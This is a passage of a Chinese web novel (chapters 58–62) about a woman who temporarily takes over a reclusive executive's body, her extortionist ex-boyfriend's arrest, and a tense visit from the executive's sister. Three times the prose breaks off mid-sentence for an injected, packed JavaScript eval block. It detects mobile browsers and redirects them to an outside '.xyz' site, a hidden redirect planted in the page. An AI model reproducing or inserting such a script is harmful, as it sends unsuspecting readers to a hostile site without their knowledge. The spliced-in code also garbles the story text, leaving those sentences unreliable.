“……”周拾秋一时没了脾气,槽点太多反而不知从哪里吐槽好,只能评价道,“你真会找地方。” “看来乌鸦小姐也很满意。”庾林笑道。 周拾秋有点想骂人,终是忍了下来,瞥了一眼车内后视镜,一抹狡诈的笑浮上嘴角,回应道:“嗯,满意,那地方可是我们守旧者的打卡圣地!对了,我还顺道买了这边的特产,希望庾总监也能满意。” “这话听着不像是好事……” “庾总监冤枉我了,本来我打算任务完成后转账给你,可现在仔细一想,似乎太看不起我们庾总监了,我就只当个导购吧。”周拾秋努力让自己的声音听上去不带恶意。 庾林无奈地叹了口气:“那就先谢谢导购小姐了。” “不客气!”周拾秋脸上洋溢着奸计得逞的笑意。 一路上,周拾秋硬拉着庾林聊天,一直聊到手机没电了才肯罢休。路上枯燥的时间也因此飞快流逝,等回到天宫酒店时,已是凌晨一点。 周拾秋呵欠连天,提着大包小包上了楼。 进门时,康管家一脸诧异地接过那些打包盒,没有多问,先整理好塞进冰箱。 “都是送给庾木木的早餐,你明早让他多吃些。”周拾秋活动着有些僵硬的肩膀,自觉地解释了一句。 康管家顺从地点点头,但嘴里忍不住嘀咕:“这量是不是也太过了……” 周拾秋正想提交任务完成申请,瞥见正被康管家一一放入冰箱的浇头,又有些不舍,于是放下手,走到岛台边坐下,厚着脸皮求道:“嘻嘻,康管家,能现在帮我煮一碗面吗?我想尝尝味道再走。” 康管家探头望了望屋里的时钟,觉得时间有些晚了,但看周拾秋一脸期待,终是不忍心拒绝,沉默着点了点头。 周拾秋:“我要牛肉的!” 康管家:“好。” 周拾秋:“少面,多肉!” 康管家:“好。” 59. 第059章 美美品尝完一碗面,周拾秋才满足地提交了任务完成申请,意识瞬间转移,原本被填满的胃瞬间清空。 这种感觉有些微妙,意识中还留有母亲做的红烧牛肉的味道,可身体一点饱腹感都感觉不到,瞬间多了几分意犹未尽。 令她意外的是庾林并没有躺进被窝,她的身体还坐在电脑前,屏幕上显示着危机管理局聊天大厅的界面,看样子是没事做,在聊天室里看人闲聊。 “还说我,自己不也睡不着么?”周拾秋低声念叨。 奔波了一晚上,意识带回的疲倦也传递给了身体,周拾秋关掉电脑,躺回床上。 脑子居然不再乱想,朦胧的意识中只有夜风吹拂的畅快,还有久违的母亲的味道,暖暖地包围着周拾秋,让她暂时忘却了烦心事,昏昏沉沉睡了过去。 梦中她又走入了那片火场,地上没有尸体,也没有张婶,只有她与庾林。 庾林坐在房间中央,四周跳跃的火苗将他浑身染红,他冲周拾秋招了招手,然后拍了拍身旁的地板,示意周拾秋到他身旁坐下。 他们就像是认识了许久的朋友,找了个熟悉的场景叙旧。 周拾秋并没意识到不合理,顺从地走到庾林身边坐下,陪他一起欣赏着大火疯狂吞噬一切的景象,心中却未感觉到害怕。 “你知道这里究竟发生了什么事吗?” 庾林抬头望着蹿上天花板的火苗,眼中的红光闪烁,嘴里轻飘飘地吐出一句话,犹如漫不经心的闲聊。 周拾秋环顾一圈,眼中仿佛出现了当时的画面,烧焦的尸体、打火机、汽油桶、被绑的人质…… “你被绑架,张婶为了救你,杀了绑匪?”周拾秋胡乱猜测着。 她知道不合理,却想不出更合理的解释。 如果是救庾林,又为何要放火呢?绑匪在大火烧起来前,就已经死透,同样被绑架的张婶凭什么能反杀成功呢?以庾林名义签署的私危协议,为何她最后会出现在张婶身体里呢? 无数的疑问将周拾秋包围,她疑惑地望向庾林。 庾林依旧欣赏着这场无休止的大火,对她说的话毫无反应,过了许久才转过头,带着温柔的笑,莫名其妙地问道:“你喜欢我吗?还会救我吗?” 这一瞬间,周拾秋有些失神,心脏好像漏跳了一拍,记忆仿佛猛然抽回五年前的那个晚上,当她第一眼看到庾林时,想要将那个被五花大绑的人占为己有的想法似乎死灰复燃了。 却只是一瞬,周拾秋陡然回过神,抬手掐住庾林的脖子,厉声骂道:“谁喜欢你啊,你这缺德鬼,我被冤枉时你怎么不替我说话?是你爸指使?还是为了张婶?我真是吃饱了撑着,才会想要救你……” 她掐着庾林的脖子使劲摇晃,这一摇反倒把自己摇醒了。 天已经大亮,周拾秋猛然坐起身,茫然地挠了挠头,实在想不通自己怎么做了如此奇怪的梦。等到意识完全清醒后,周拾秋打开手机看了看时间,8点43分,居然睡了这么久。 大概是知道周拾秋前天夜里没怎么睡,齐绮也没来叫她起床,准备的早饭还放在餐桌上。周拾秋快速洗漱一番,便坐下吃早饭,一边吃一边盯着手机上的时间。 估摸着郑常新应该已经上班了,她又一次拨打了这个烦人的号码。 “嘟——嘟——” 电话响了十来秒,周拾秋整颗心悬了起来,担心结果又和昨天一样。 不过好在电话接通了。 然而电话那头传来的是一个陌生女子的声音,说话十分客气:“喂,您好,郑先生的电话落在办公室里了,请问找他有什么事吗?” 看来是郑常新公司的同事。 周拾秋:“哦,你好,请问郑先生还没来上班吗?” 女同事:“请问您是?如果是业务上的事,我可以让其他同事跟您联系。” 周拾秋:“啊不,只是找郑先生有点私事……” 一时间不知该如何描述自己的身份,前女友吗?她连说出这个身份都觉得恶心。朋友?更不可能,仇人还差不多。 女同事:“这样啊,其实郑先生昨天被警察带走了,您要不试着联系他家里人?” 啊?被警察带走了? 周拾秋简直不敢相信自己的耳朵,先是一阵错愕,接着竟抑制不住上扬的嘴角,心中暗喜:妈呀,什么爽文剧情?报应来得这么快的吗? 强忍住笑,周拾秋好奇追问:“发生什么事了?怎么会被警察带走了呢?” 女同事按捺不住八卦之魂,压低声音回答:“听说是勒索,对方报案了,昨天下午下班前,直接被带走了,连手机都没来得及拿……” “勒索?他又勒索谁了啊?” 周拾秋惊呆了,心想自己这个被勒索的正主都没报警,怎么警方就先采取行动了? 女同事:“又?难道都是真的?郑先生真勒索了不少人?” 电话对面的人异常兴奋,原本周拾秋想从她口中了解情况,现在她反倒想从周拾秋口中打听更多八卦消息。 周拾秋便顺着她的话说下去:“哦,我倒是知道一件,就最近跟他分手的前女友,被他勒索一百万。” 女同事:“哦哦哦,我知道,是不是开花店那女孩?听说他找人在网上造谣,已经被立案调查了,然后就牵扯出他以前还敲诈过别的女孩。天啊,真看不出来他是这样的人。” “上班时间,聊什么闲话呢!” 对面传来一声怒吼,女同事低声道了句歉,便挂断了电话。 周拾秋放下手机,整个人有些懵,急急忙忙走到楼梯口,喊了声“绮绮”。 齐绮听到楼上动静,带着疑惑上了楼。周拾秋急忙将刚才电话里听到内容如实转述。 整件事听上去太过魔幻,两个人面面相觑,一时不知道究竟发生了什么事。 齐绮提议:“上网看看,这种事网上传得最快了。” 两人一起回到周拾秋的房间,打开电脑,登录了最热门的几个论坛。 果然,在大量吐槽理想者的帖子中,穿插着一个热度很高的匿名讨论帖,标题为【自挂东南枝?造谣者被捕!】。 内容是说,前几天挂守旧者跪舔理想者的帖子,其当事人已被警方紧急逮捕,调查结果表明,此言论纯属造谣生事,系当事人出轨被甩,怀恨在心,故意找人抹黑前女友。 跟帖的言论五花八门,有人质疑,也有人唾骂。 楼主又扔出了一张警方通报,上面详细说明了当事人郑某 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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【匿名511:真嘟假嘟?老板娘不保他?】 【匿名101:那老板娘又不是傻白甜,听说姓郑的欠债拿她当冤大头,一脚就把他踢了,本来就是玩玩,这个不满意,换一个就是了。】 …… 看着眼花缭乱的讨论,周拾秋和齐绮目瞪口呆,感觉不过睡了一觉,整个世界就发生了天翻地覆的改变。 齐绮立起手机,手指敲了敲屏幕,“昨天拿到的资料好像都用不上了。” “呃……我是不是该主动联系警方,给郑常新多定一条罪?”周拾秋苦笑着问。 “这么狠吗?我觉得可以。”齐绮脸上浮现邪恶的笑容。 “不过……郑常新到底敲诈谁翻车了?”周拾秋浏览着评论,一脸好奇。 齐绮十分肯定地说:“还不明显么?敲诈你不成,那就去敲诈庾先生呗,除了庾先生,郑常新走哪儿去认识理想者啊。” 周拾秋恍然大悟,急忙拿起手机拨通了庾林的电话。 然而周拾秋还没开口询问,庾林语气不善地说道:“有事过来再说,带上你朋友!” 话音刚落,电话就此挂断,独留下周拾秋一脸茫然。 60. 第060章 在前往自由区的路上,周拾秋和齐绮心中不免忐忑,不知道庾林为何突然叫两人过来。齐绮担心周拾秋又惹出什么事端,而周拾秋想破脑袋也想不出自己最近惹过什么麻烦。 抵达天宫酒店时,已过11点,等进了套房60A的房门,两人傻了眼。 房中热闹非凡,除了她们俩,客厅里和餐厅里加起来坐了十五人,大多穿着制服,周拾秋分辨出,他们都是态宇仿生科技的职员。 除了周拾秋比较熟悉的楚君,还有上回到皆来食一起用餐的两位女同事,剩下十人似乎都是定制仿生设计部的员工。 他们看到周拾秋都热情地打招呼,看来她关系户的事已经在公司传开了。 除了态宇仿生科技员工,还有两张熟悉的脸——何洲和清悦。 周拾秋带着齐绮穿过人群,走到窗边寻了个空位坐下,看着满屋子的人,感觉像是要开什么大会。 何洲见状带着清悦迎上前,周拾秋趁机询问:“怎么回事?” 何洲耸了耸肩,笑道:“我也想问,不知道小舅舅发什么神经,一大早就给我发消息,要我中午带朋友过来吃饭。” 周拾秋只能冲楚君招招手,向他打听情报。 然而楚君的回答与何洲差不多,他是早上接到康管家的电话,要他中午带部门员工过来聚餐,所有人都受宠若惊,也不敢拒绝,于是除了确实脱不开身的人,几乎全员都来到了天宫酒店。 “人呢?” 周拾秋环顾四周,并没有发现庾林的身影。 何洲指了指卧房方向,低声道:“你懂的,小舅舅不喜欢见人。” 其实不是不喜欢,是不能,周拾秋当然知道,庾林的心病决定他根本不敢与这么多人待在同一个空间里。那他干嘛突发奇想,叫这么多人来天宫酒店呢? 这个将十七个人召集到酒店来的房间主人,始终不曾露面。 康管家很忙碌,询问过每个人的口味偏好后,就在厨房中为所有客人准备茶水和点心,然后再一一呈上。 等到康管家走了一圈,来到周拾秋等人面前时,周拾秋赶紧拦住他打听:“康管家,你知道庾木木叫我们来干嘛吗?” 康管家微微一笑,抬手指了指冰箱,说:“就是字面意思,请大家吃面罢了,周小姐打包这么多面,庾先生一顿可吃不完。” 说完这句话,康管家又回到了厨房,等到茶水和点心准备完毕,他就得开始准备为所有人煮面了。 “搞半天是你啊,吓我一跳,还以为又出了什么大事呢……”何洲松了口气,瘫坐在沙发上。 清悦眼中散发着兴奋的光,好奇问:“什么面值得打包这么多?有我不知道的宝藏餐厅吗?” 周拾秋一脸苦笑,在齐绮质疑的目光鞭笞下,低声解释道:“呵呵,不过是禁仿区的特色,想着让大家尝尝味道。” 楚君一副感动的模样,“之前大家有些无礼,冒犯了你,你还能时刻想着大家,真是太大度了,谢谢!” “只是帮自家面馆解决多余的浇头”这句实话,周拾秋如何也说不出口了,只能附和道:“呵……要谢就谢庾总监,都是庾总监付的钱,我只是帮忙跑了个腿而已。” 自从以为她真是庾林的干女儿后,态宇仿生科技的职员对她的态度明显不一样了,热情中略带着敬畏,敬畏中又带着恭维。 比如上次在皆来食见面的那两个女职员,此刻就满脸堆着笑,凑到了周拾秋的面前。 年长女职员:“庾总监和周秘书有心了,我们受宠若惊。” 小年轻:“说实话,我还以为是因为有人打电话到态宇闹事,庾总监才召集我们来这里。” 听到小年轻的话,客厅里几个聊着天的职员自然闭上嘴,纷纷侧目,关注起这个较为敏感的话题。 “嗯?什么人闹事?”何洲挺直腰板坐正,打听起他不知道的事。 整间房子里,除了周拾秋、齐绮、何洲和清悦,其他态宇的员工似乎都对此知情,相互传递着眼色,犹豫着是否可以讨论。 提出这个话题的小年轻更像惊弓之鸟,赶紧捂住嘴,一副担忧的神情,似乎害怕自己一时嘴快,说了本不该说的话。 楚君紧张地瞥了一眼卧房,见房门紧闭,便壮着胆子,压低声音,试探着开口:“你们都还没听说吗?昨天下午有个男人打电话到态宇找庾总监。” 按照楚君的说法,当时是总台接的电话,表示庾总监不在公司,如果对方有什么话可以留言,员工会代为转达。 打电话的男人死活要问庾林电话,总台以无法透露隐私为由拒绝了。 然后,男人就在电话里爆料,说庾林是插足别人感情的第三者,然后留下电话,要求庾林尽快与他联系。 这件事瞬间在态宇公司内部炸开了锅,总台联系了楚君,让楚君联系康管家汇报此事,楚君照做了。 庾林那边如何处理的他们并不知情,只知道这件事直接闹到了集团,连社长都知道了。 “哈哈哈哈——” 客厅中爆发出一阵笑声,何洲笑得前仰后合,抹了抹眼角笑出的泪水,抱歉地说:“对不起,这是我今年听过最离谱的笑话了。小舅舅是第三者,哈哈哈哈……哪儿来的神经病造谣啊?” 年长女人随声附和:“对啊,就是神经病,听说是为了敲诈勒索,已经被警局紧急逮捕了。” 何洲摸着下巴点点头,“意料之中,能闹到我妈耳朵里,那绝对没好果子吃了。” 齐绮悄悄扯了扯周拾秋的衣袖,附耳悄声道:“他们说的是郑常新吧?” 周拾秋眨了眨眼,表示认同。 果然,网上说郑常新敲诈的理想者就是庾林,周拾秋瞬间汗流浃背,生怕房间里的人继续深究,然后挖出她也身处事件之中。 客厅里的人正说得起劲,卧房的门忽然悄无声息的打开了,黑暗中探出半张脸,嘴和鼻子藏在围巾后。 最先注意到的人立马高呼一声:“庾总监好!” 类似于同类之间的危险预警,下一秒,所有说话声终止,房间里瞬间陷入诡异的沉默,所有人的视线聚焦到卧房中的人影,屏气凝神,不敢动一步。 庾林抬起手,冲着周拾秋勾了勾手指,冷冷发出一声命令:“进来。” 所有人的眼神不约而同流露出同情之色,纷纷投向周拾秋,在众人目光的护送下,周拾秋战战兢兢地迈步朝卧房走去。 从明亮的客厅走入昏暗的卧房,周拾秋眼睛一时有些无法适应,什么都看不清。当她步入房间,身后的房门静悄悄地关闭,她彻底置身于黑暗之中,仿佛面前等待她的是什么要命的审讯。 呃……庾林不会是觉得受她连累,名誉受损,所以要找她撒气吧? 这样的念头从脑海中飘过,带来阵阵寒气,令她不自觉地浑身一颤。 “呃……我找证据花了点时间,没想到郑常新动作这么快……”不管三七二十一,周拾秋张嘴便解释,努力想将自己往外摘一摘。 电流的滋滋声在黑暗中传出,厚重的窗帘自动移向两边,窗外的阳光直射进房间,四周逐渐变亮。 庾林坐在床边,一脸诧异地抬起头,声音带着疑惑问道:“你打电话想说的就是这事?这个我好像知道……昨天上午与瑞波恩科技会面,下午去警局,的确没时间找证据。” 看庾林一脸平和的表情,显然没有怪罪的意思,周拾秋有些虚脱地踉跄一下,耷拉着肩膀,挪到窗边,往单人沙发上一坐,骂骂咧咧道:“不是,你没事干嘛不开灯啊,吓我一跳,还以为你要兴师问罪呢!” 庾林盯着她,发出一声冷笑:“哼,也不知拜谁所赐,大半夜吃面,害我消化不良,凌晨4点才睡着,这会儿刚醒。” “哈哈哈……”周拾秋只能以傻笑掩饰尴尬。 庾林习以为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14969031|155166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 常,口风一转问道:“那些面就是你说的特产?” “昂,不好吃吗?”周拾秋老实地坐直身子,双手叠放在膝盖上,快速眨着眼,一脸期待地望着庾林。 “……好……”庾林一时说不出别的话来。 “昨晚味道我尝了,你可能只吃了个饱,一会儿你亲自尝尝,保准你会喜欢!”周拾秋自信满满地拍着胸脯保证。 虽不知周拾秋哪里来的自信,但庾林没有煞风景地破坏她的兴致,只从鼻腔中轻哼出一个音:“嗯。” 平日里最爱找她茬的人,今天竟这么好说话,周拾秋不禁感到一丝诡异,小心翼翼地问:“你不问我为什么打包这么多面?” 看她疑神疑鬼的模样,庾林忍不住偷笑,往上拉了拉围巾,挡住脸上笑意,故作严肃地说:“说说吧,让我花钱的理由是什么?” “呃……” 猝不及防的回应让周拾秋一愣,她似乎又搬起石头砸了自己的脚,恨不得扇自己两巴掌,实在不知自己干嘛要多嘴,如今也只能老实交代,“开个玩笑而已,我转钱给你,其实昨天你去那个地方离我家不远,所以我顺道去我爸妈开的面馆看了一眼。” 心中有些过意不去,周拾秋说着便拿出手机,准备还钱给庾林。 “不用了,反正已经变成总监请部门员工用餐了,哪有让秘书出钱的道理。”庾林出言制止,眼神不自然地瞥向别处,然后迅速转移了话题,“所以你电话里想说的是什么事?” “啊,我听说郑常新勒索了理想者,就想会不会是你。” 周拾秋回过神,想起自己来这里的目的,不过刚才在客厅里,态宇的职员基本已经解答了她的疑惑。 庾林漫不经心地回道:“哦,康管家跟我说了。这种程度有点侮辱勒索这个词。只要一百万,他就同意出面澄清,保证消除负面舆论,今后也再不骚扰你,这生意还挺划算。只可惜,他把事情搞砸了,让庾双知道了。” 周拾秋想起网上的爆料,说是被敲诈的理想者汇款后立马报了警,当时她还想,为什么要先汇款?原来汇款和报警的根本不是一个人。 “你傻啊?让你给一百万,你就给一百万?”周拾秋忍不住怒怼。 “能用钱解决的问题都是最简单的问题,你不这么认为吗,价值两百万的危代人?”庾林笑着调侃。 他是生意人,价值观与周拾秋不同,他可以轻易拿出的数额是周拾秋无法想象的,周拾秋自然也无法理解他的思维模式。 一想到自己此前也算是敲诈了庾林一笔,周拾秋两颊不免滚烫起来。 “咳,两百万是你自己提的,我现在不正在还人情么……” “嗯,那就继续你的工作,先去解决你带回来的那堆特产。”庾林起身命令。 “知道啦!”周拾秋冲着庾林的背影做着鬼脸,然后顺从地跟了上去。 走到门边握住门把手,庾林才回过头,低声说:“不管怎么说,你前男友的事至少解决了,希望乌鸦小姐以后清醒点,别随便答应别人的交往请求。” “是,我看人眼光不行,以后先带给干爹过目行吧?” 周拾秋抬头冲庾林微微一笑,眼里藏着点想刀人的情绪,看似乖巧,实则阴阳怪气。 “口是心非的女人。” 庾林注视着她的眼睛,扔下这样一句评价,转身开门走出了房间。 周拾秋从自家面馆打包回来的面条,将态宇定制仿生设计部职员与一年难得露面一次的总监绑到了一起,成就了这难能可贵的一次聚餐。 虽然只是简单一碗面,但吃的人很满意,周拾秋心中自然欣慰,这份属于家的味道,没想到有一天会与一群理想者分享。 与理想者的接触时间还剩半个月,周拾秋祈祷着安然度过,可想想期限结束后就会彻底道别,心中竟也会莫名伤感。 也许她开始没那么讨厌理想者了吧。 61. 第061章 L463年11月23日早上7点39分,周拾秋站在山顶,眺望着漫无边际的云海在群山之间流动,初升的朝阳从云海中露出头来,阳光穿透氤氲的雾气,驱散了所有阴暗,山峦被渲染上夺目的色彩,洗涤心灵的壮丽景色如画一般闯入眼帘。 如果周拾秋没有被委托任务强制唤醒,她一定能为眼前的景色而感动流泪。 而现在,她完全没有这样的心情。 在睁眼看到这一幕前,周拾秋还躺在温暖的被窝里,想着美美睡上一场懒觉,然后她被刺骨的冷风拍打着脸颊唤醒。 当发现自己孤身一人站立于山巅时,如果不是腿上传来酸胀感,喉咙干涩到微微发疼,冷风抽在脸上的刺痛如此真实,她甚至以为自己还在做梦。 庾林又在她毫无防备的情况下启动了里人格。 平时围巾不离脖子的人,今天脖子上居然空空如也,冷风便顺着领口往里钻,偏偏身体微微发烫,于是周拾秋有了冰火两重天的极致体验。 什么情况?庾林这是爬山被困,所以向她求救吗? 看看四周脚印清晰的山路,显然是她想多了。 周拾秋脱掉手套,伸手到衣兜里翻出手机,然后给自己手机拨去一通电话。 电话接通后,对面传来自己懒洋洋的声音,庾林明显还没出被窝。 周拾秋咬着后槽牙,忍着怒气,假装客气地说:“庾总监,天没亮你就往山上跑,有这身体素质,我相信这世上没什么能难得住你。” “按理说应该是,可伤刚好,爬上山就觉得累了,下山的事就交给乌鸦小姐了。” 电话那头的话说得轻巧,电话这头的周拾秋拳头已经攥紧。 周拾秋:“伤刚好的人是不是该好好在家休息呢?” 庾林:“嗯,所以现在在你房间休息。” 周拾秋:“我说的是在你爬山前!” 庾林:“适当的运动对身体有益。” 周拾秋:“那你怎么不接着运动下半场?” 庾林:“我觉得乌鸦小姐也该适当运动。” 周拾秋:“可动的是你的身体!” 庾林:“下山吧,康管家在山下等你,沿山道走两小时就可以看见缆车搭乘点。” 周拾秋:“你!” 庾林:“请。” 电话就此挂断,周拾秋气得差点想把手机扔下山。 看着翻涌的云海和已经彻底露脸的太阳,周拾秋只能勉强安慰自己:“不亏,不亏,至少不用自己早起登山就看到了一场盛景……” 自我安慰完毕,周拾秋迈步沿着山道往山下走去。 周拾秋还从来没感受过大清早走在山里,空气中弥漫着自然的清新,令人心旷神怡。 可惜这么早,一路上一个人影都看不见,走久了免不了觉得有些孤寂。 周拾秋实在不知道庾林哪儿来这些古怪的兴趣爱好,又或者说,庾林纯粹是为了折腾她。 越想越觉得无语,周拾秋为了不让庾林安心躺在被窝里,又给自己手机拨去电话。 庾林:“怎么了?” 周拾秋:“接下来半个月,你不会每天都爬山锻炼吧?” 庾林:“你想?嗯……也不是不可以……只是看一次应该够了吧……” 周拾秋:“我想什么呀想!要不你培养点别的兴趣爱好?” 庾林:“比如?” 周拾秋:“比如睡觉。” 庾林:“……挂了!” 电话再次挂断。 周拾秋决定每过五分钟骚扰一次庾林,以报庾林大清早让她爬山之仇。 她也的确是这么做的,每次接通电话都说些没有营养的话,也真亏庾林能耐着性子一直接听下去。 一直到两个小时候,周拾秋终于坐上了缆车。 她不得不佩服庾林的身体素质,一上一下爬了四个小时山,竟没有让她觉得想死,若是换成她自己的身体,应该爬到半途就累得不行了。 “不不不!佩服个什么劲,别被洗脑了。”周拾秋拼命摇了摇头,“我根本就不会选择这种方式来折磨自己!” 终于在山下与康管家汇合后,周拾秋又给庾林打了一通电话。 周拾秋:“庾木木,如果你下次再让我帮你爬山,你的人情我就不还了!” 庾林:“……你就没在山上看到别的?” 周拾秋:“看到了,人心险恶。” 庾林:“……” 完成委托任务的周拾秋总算回到了自己的身体。 如今庾林派给她的任务越来越令人费解,处处透着一种捉弄的味道,让周拾秋不知到自己哪里得罪了庾林。 下楼前往花店,生意虽然还没完全恢复到造谣事件发生前的程度,但是随着郑常新被立案调查的消息在网上散播,一些常客终于重新出现。 昨天趁着到天宫酒店聚餐的机会,周拾秋将之前获得的证据转发给了庾林,由他出面提交给自由区负责郑常新案件的警察,作为造谣勒索的证据。 庾林没问她从哪里弄到的资料,爽快应下了她拜托的事。 大概要不了多久,整件事就能彻底平息了。 郑常新因为错误的判断,招惹上理想者,意外帮周拾秋解决难题,也算是恶有恶报,可是他到态宇仿生科技闹了那么一遭,也给周拾秋带来了麻烦。 下午周拾秋和齐绮在花店里张罗生意,突然两位不速之客出现在了店门口。 周拾秋一眼便认出,来人是庾双和何文昊。 庾双戴着墨镜,一脸严肃,浑身散发着盛气凌人的气息,墨镜后的视线在花店中横扫一圈,最终落在了周拾秋的脸上。 何文昊站在庾双身旁,脸上带着温和的笑,他并没有见过周拾秋,于是客气地开口:“打扰了,我们有事想找周拾秋小姐聊聊,请问哪位是?” 突然出现的两名理想者,引得店中客人纷纷侧目,两人的状态,显然不是来买花的,看热闹的视线在周拾秋和理想者之间来回拉扯。 周拾秋胆怯地举起手来,虽不知道两人想干嘛,但留他们在店中实在影响生意,只好指了指楼上,道:“我是周拾秋,有什么事我们上楼谈吧。” 与齐绮交换眼神后,周拾秋便领着两位访客朝二楼走去。 途中,周拾秋悄悄拿出手机,给庾林发了条消息: 【你姐姐和姐夫怎么来我花店了?】 心中忐忑不已,将手机塞回衣兜里,周拾秋客气地请两人在客厅里落座,拘谨地问:“家里有咖啡和果汁,要喝点什么吗?” 庾双将墨镜往上推了推,语气尖锐:“不用了,我可能不太习惯守旧者的饮食。” 何文昊随和地冲周拾秋笑了笑,打起圆场道:“她平日里对口味比较挑剔,你别介意,我们说几句就走,你不用费心。” “呵… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14974177|155166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …”周拾秋面露尴尬,悬空的手一时不知该往哪儿放,战战兢兢地绕到一旁坐下,低下头,时不时拿出手机瞥一眼,看看庾林回信了没有。 “不知道你听说没有,”庾双突然开口,“有人打电话到态宇找我弟弟,还公开造谣,说他是第三者。” 周拾秋被她尖利的声音吓得手抖,手机不小心从衣兜里滑落,摔在地上发出“啪嗒”一声响。 霎时间,两道冰冷的视线向周拾秋射来,一声轻微的啧舌声随之传出,似乎传递着不满,令气氛越发凝重起来。 这个令人窒息的瞬间,周拾秋欲哭无泪,突然发现,原来庾林已经是理想者中很好说话的一类人了。 “对不起……”周拾秋微微低头致歉,然后深呼吸一口,才缓缓回话,“听说了,那人已经被警方控制,不知跟你们来这儿……” 有什么关系呢? 后半句她没能说出口,因为她明显觉得庾双的脸又冷了几分。 庾双双手环在胸前,微微仰起头,打量着周拾秋,用咄咄逼人的语气质问:“是你吧?那个造谣者的女朋友。” “前……”周拾秋小声回应,刚说出一个字就被庾双打断了。 庾双强势地问道:“我不管你们之间有什么瓜葛,我只关心我弟弟是否与你有超出工作以外的关系?” 嗯?听起来怪怪的…… 庾双不是已经以造谣报警立案了么?怎么好像并不是那么相信庾林的清白呢? “绝对没有!”周拾秋急忙举手发誓,努力撇清她与庾林的关系,“我跟庾先生认识不到一个月,他只是雇我做秘书协助他处理工作,不信你可以问问态宇的员工。” 听了周拾秋的解释,庾双头疼似地揉着太阳穴,带着怒气说道:“就是问了才担心!他什么时候成你干爹了?” 这句话如同一把利剑,跟着庾双凌厉的眼神一同刺向周拾秋,凉意从四肢蔓延。 周拾秋坐得笔直,肩膀僵硬得无法动弹,她嘴角抽搐,说话时感觉舌头有些打结,“他、他、他开、开玩笑的,呵呵……” “开玩笑?你跟我说是开玩笑!我弟弟是什么样的人,我会不清楚吗?他这五年,连人都少见,为什么突然找你……还是个守旧者,做他的私人秘书,还开这样的玩笑?又怎么会惹出那样的谣言?” 庾双越说越激动,大口喘着粗气,头疼使她面色难看。 不是啊,姐姐,庾林是为了自保啊! 周拾秋欲哭无泪,在心中呐喊,面上却只能抿着嘴,不发一言。 真实情况她说不出口,她总不能告诉庾双,她差点想杀了庾林,庾林为了自保才留她在身边吧?要真让庾双知道,她觉得今晚进研所专员就会全副武装冲进她家,将她押回进研所进行人格改造。 “你先别急,事情还没弄清,也许就是你想多了而已。” 何文昊抚摸着庾双的后背,帮她顺气,并柔声安慰。 “唉,你又不是不知道庾林母亲的事,让我怎么不担心庾林会对守旧者……”庾双心急地对何文昊念叨了两句,又想起周拾秋还在场,有所顾忌,声音越来越低。 就在周拾秋想再次强调自己与庾林毫无私情之时,手腕上的手环闪了一下白光,她急忙拉下衣袖遮挡。 幸好两人窃窃私语没注意到她这边的情况,可十秒后,周拾秋的意识被迫转移。等再睁开眼,周拾秋已经站在了庾林的卧房中。 62. 第062章 刚听到最关键的时刻,就被强制离场,周拾秋实在佩服庾林对时机的把控。 听庾双提起庾林的母亲,周拾秋原本还想趁机打听点八卦消息呢,谁知话题还没开始,她就被踢出了群聊。 就像是电视剧看到最精彩的时候,这部剧突然被腰斩了,后面的内容大概率是不可能知道了。 “算了,反正我也不太会应付庾木木的姐姐。”周拾秋自我安慰。 不过随即想起庾双话中透露出的少许信息——庾双和庾林原来不是一母所生。 “庾双想说庾林的母亲曾是守旧者吧?”周拾秋喃喃自语,“啧,守旧者招谁惹谁了?一家子都是怪人!” 随意抱怨两句,周拾秋开门走出卧房,想找康管家讨杯水喝。谁知一出门,就看见客厅沙发上坐着的楚君。 楚君看见周拾秋,连忙站起身,一脸担忧地问:“总监没事吧?刚看您紧张的模样,是不是遇上什么麻烦事了,我可以帮什么忙吗?” 周拾秋吓了一跳,第一反应是自己是否不该走出卧室,接着听见楚君说的话,才意识到刚才庾林正和楚君在一起,然后她就更加诧异了。 果然奇怪,庾林什么时候习惯见人了? 想起半个月前,两人第一次见面时,庾林连公事都不愿意露面,现在就跟换了个人一样。 沉默片刻,周拾秋朝楚君摆了摆手,心想楚君所说的紧张,多半是庾林看到了她发的消息,便随口应付道:“没事,家里有事让我回个电话罢了。” “哦,没事就好。”楚君紧蹙的眉头得以舒展,又小心翼翼询问,“那刚才说的定制预约,就按总监说的办吗?” “什么预约?”周拾秋挠挠头。 身为下属,就算领导突然变卦,也要波澜不惊地沉着应对。秉持着这种信念的楚君丝毫不敢怠慢,保持着微笑,将一个文件夹递到周拾秋面前,耐心解释: “最近收到的定制预约,这份是您刚才交代要交由您负责的项目,请过目。” 周拾秋接过文件夹,只见里面全是关于客户的资料与定制需求。 满篇的文字和图纸看得她眼花缭乱,这不是她应该操心的事,因此她只是装装样子,随意翻了翻,却晃眼看到了客户的照片。 这单生意来自一位女客户,周拾秋顿时有些看不懂了。 庾林一向避讳与异性接触,听说一般情况下并不参与女客户的项目,怎么今天还主动挑上了? “你确定我刚才说要负责这个项目?”周拾秋又确认了一遍。 